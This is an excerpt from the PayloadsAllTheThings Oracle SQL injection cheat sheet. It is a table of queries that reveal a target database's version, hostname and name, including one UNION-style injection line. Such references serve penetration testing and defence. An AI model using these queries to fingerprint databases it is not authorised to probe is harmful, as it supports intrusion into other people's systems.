| Description | SQL Query | | ------------- | ------------------------------------------------------------ | | DBMS version | `SELECT user FROM dual UNION SELECT * FROM v$version` | | DBMS version | `SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';` | | DBMS version | `SELECT banner FROM v$version WHERE banner LIKE 'TNS%';` | | DBMS version | `SELECT BANNER FROM gv$version WHERE ROWNUM = 1;` | | DBMS version | `SELECT version FROM v$instance;` | | Hostname | `SELECT UTL_INADDR.get_host_name FROM dual;` | | Hostname | `SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;` | | Hostname | `SELECT UTL_INADDR.get_host_address FROM dual;` | | Hostname | `SELECT host_name FROM v$instance;` | | Database name | `SELECT global_name FROM global_name;` | | Database name | `SELECT name FROM V$DATABASE;` | | Database name | `SELECT instance_name FROM V$INSTANCE;` | | Database name | `SELECT SYS.DATABASE_NAME FROM DUAL;` | | Database name | `SELECT sys_context('USERENV', 'CURRENT_SCHEMA') FROM dual;` |
Source: SQL Injection/OracleSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.